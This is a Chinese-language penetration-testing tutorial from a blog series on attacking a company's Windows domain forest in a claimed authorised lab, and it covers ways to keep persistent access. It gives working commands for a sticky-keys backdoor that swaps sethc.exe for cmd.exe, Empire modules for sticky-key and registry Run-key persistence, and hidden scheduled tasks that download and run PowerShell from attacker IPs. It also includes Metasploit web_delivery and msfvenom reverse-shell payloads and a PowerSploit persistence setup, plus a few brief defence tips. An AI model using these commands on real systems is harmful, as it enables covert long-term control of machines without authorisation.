系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过前几期的域森林专辑文章中利用隐藏通道技术、权限提升、横向攻击、域控安全技术、跨域攻击、置零攻击等手段对公司进行了大面积渗透行为,今天我们就来对域森林中如何进行权限维持进行攻击,总结实战中会遇到的各种权限维持的方法,利用这些方法在内网中遨游!
不会权限维持的技术,就无法长久的控制系统进行维持攻击行为!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
在通常情况下攻击者成功贡献该服务器系统后,会利用权限维持进行植入后门,后门(backdoor)是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后门是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。
本节将介绍实战中常用的权限维持方法进行攻击渗透!
三、粘滞键后门
粘滞键后门是一种比较常见的持续控制方法。在Windors主机上连续按5次Shift键,就可以调出粘滞键。Windows的粘滞键主要是为无法同时按多个按键的用户设计的,例如,在使用组合健Curl+P时用户需要同时按下Ctrl和P两个键,如果使用粘滞键来实现组合键Ctrl+P的功能,用户只需按一个键。
1、介绍粘滞键
首先在windows环境按五次shift,弹出如图所示界面,就存在粘滞键后门漏洞,那么如何权限维持?开始介绍该原理!
2、粘滞键后门之修改密码篇
重启系统前置关机:
重启系统后...然后在上图“正在启动Windows”界面强制关机,拔掉电源即可....!!!
开机后会出现进入启动启动修复(推荐)选项界面,选择修复:
开机后会出现进入启动启动修复(推荐)选项界面,选择修复:
点查看问题详情:
点击erofflps.txt目录:
到C盘system32目录下往下翻能看到蓝色的图标名称:sethc:
重命名文件改123(名称随意改):
继续往下找到黑色图标:CMD文件,然后进行复制
将复制的cmd副本改名
改成sethc,然后关掉记事本文件:
完成重启即可:
到用户密码输入界面连续按5次shift即可出现上图,到了这儿下一步我就不教了,希望大家慎重!!
下面我教大家修复的办法:
大家可看到,到了这步在未输入用户名情况下按shift五次出下的CMD命令框是system权限,那么可以添加用户,修改用户密码,甚至上线一句话等等!带大家了解了粘滞键的最原始利用过程,那么我们接下来将利用Empire来对粘滞键进行powershell一句话植入操作进行权限维持!
3、Empire进行粘滞键维持
1)Docker环境安装
前提是需要安装docker:直接按照以下命令即可安装完成docker
apt install docker-ce
2)Empire环境安装
Empire一款只针对win系统的后渗透神器,该工具是基于Poweshell脚本的攻击框架主要实现对内网、对域的攻击,提权横向移动等等!
个人感觉和CS、msf使用方法相同,开个监听器生成payload让主机运行并上线,然后进入主机控制台进行操作主机!
docker run -it --rm --network=host bcsecurity/empire
安装完成用docker运行即可!开启后直接powershell上线普通用户进行执行!
3)手动执行
用可执行文件sethc.exe.bak替换windows\system32目录下的sethc.exe:
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
#连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令
4)使用empire维持
前提得是*用户,过UAC,system权限才行:
usemodule lateral_movement/invoke_wmi_debugger
info
set Listener dayu
set ComputerName user1.xiyou.dayu.com (win7电脑计算机名)
set TargetBinary sethc.exe
execute
执行完execute被攻击方电脑会一闪而过CMD终端窗口!
最后,在目标系统上连续按5次shift键触发后门:
5)粘滞键防范
针对粘滞键后门,可以采取如下防范措施:
1. 在远程登录服务器时,连续按5次“"Shift”键,判断服务器是否被人侵。
2. 拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项。
四、注册表注入后门
1、注册表注入后门简介
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:Sofware\Microsoft\Windows\CurrentVersion\Run中(键名可以任意设置)。
Run:该项下的键值即为开机启动项,每一次随着开机而启动。
位置:
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
运行输入:regedit.exe
找到该处进行植入后门即可!
2、Empire注册表后门植入
在Empire下也可以实现这-功能。 输人"usemodule persistence/userland/registry"命令,模块运行后,会在目标主机的启动项里增加一个命令。
usemodule persistence/userland/registry
set Listener dayu
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
当管理员登陆系统时,后门就会运行,反弹成功!
注销或者重启后,后门就自动运行了(进入桌面自动删过cmd命令框),kali就上线了!
杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容,采取相应的措施,即可删除此类后门。
五、计划任务后门
1、计划任务后门简介执行
计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8 版本开始的操作系统中使用schtasks 命令调用。计划任务后门分为管理员权限和普通用户权限两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次 notepad.exe。
schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1
hourly #每小时
MINUTE #每分钟
等待一分钟:
删除:
schtasks /Delete /tn Updater
常见的渗透测试平台中模拟计划任务后门进行安全测试的方法:
2、在Metaplont中模报计划任务后门
使用Poweshell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因为该行为不会被写人磁盘, 所以安全防护软件不会对该行为进行检测。
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.9
set lport 443
set URIPATH /
exploit
在目标系统中输入生成的后门代码,生成新的会话:
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.253.9:8080/"))'" /sc MINUTE /ru System
(1)用户登录
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://1.1.1.6:443/"))'" /sc onlogon /ru System
(2)系统启动
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://192.168.254.9:8080/"))'" /sc onstart /ru System
(3)系统空闲
schtasks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://x.x.x.x:443/"))'" /sc onidle /i 1
如果装了杀软在添加计划任务时就会弹出警告!
3、在PowerSploit中模拟计划任务后门
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1
生成persistence.ps1,是计划任务执行的payload:
Import-Module .\Persistence.psm1
然后输入如下命令,使用计划任务的方式创建后门,该后门会在计算机处于空闲状态时执行,执行成功会生成名为“Persistence.psm1”的脚本,如果需要更改触发条件,可以查看脚本说明:
$ElevateOptions = New-ElevatedPersistenceOption -ScheduleTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-PERSISTENCE -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
$ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
上述命令中,shuteer.ps1是计划任务要执行的payload,可以执行如下命令来生成该文件:
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.253.9 lport=7777 -f psh-reflection -o shuteer.ps1
将上边生成的persistence.ps1放到web服务器,在目标主机中执行。当主机处于空闲时,就会执行如下命令。反弹一个meterpreter会话。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.253.9/Persistence.ps1');"
空闲后就会在MSF上反弹一个shell!
4、在empire中模拟计划任务后门
设置DailyTime和Listener参数,到了设置的时间,将执行sec计划,将返回一个高权限的shell:
usemodule persistence/elevated/schtasks
set DailyTime 15:36
set Listener dayu
execute
在实际运行该模块时,安全防护软件会给出提示,我们可以根据提示信息,采取相应的防范措施。
输入 agents 会多出一个system权限的客户端。
对计划任务后门,有效的防范措施是:安装安全防护软件并对系统进行扫描;及时为系统打补丁;在内网中使用强度较高的密码。
六、总结
本章权限维持总结了粘滞键后门、Empire植入、注册表后门、计划任务后门,这几种方法在如今也是比较实用的,可以进行联动多种方法,甚至学习后也可以自查本地系统是否被植入该后门成为肉鸡等,希望小伙伴们学到更多的技术!加油~
公司域森林搭建 -> 域森林信息收集上 -> 域森林信息收集下 -> 域森林通信隧道建立上 -> 域森林通信隧道建立下 -> 域森林中权限提升上 -> 域森林中权限提升中 -> 域森林中权限提升下 -> 域森林中横向移动(上)-> 域森林中横向移动(中)-> 域森林中横向移动(下)-> 域森林中域控制安全(上)-> 域森林中域控制安全(下)-> 域森林中跨域攻击(总)-> 域森林中置零攻击(总)-> 域森林中权限维持(上)-> 域森林中权限维持(中)......
接下来在《域森林中权限维持(中)》中会接触到如何对进行权限维持攻击行为,如果在对方关机防御措施后进行再次控制对方系统等行为,如何建立内网渗透框架一步步攻击该公司内网环境的思路和方法,请看下篇域森林中跨域攻击篇章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余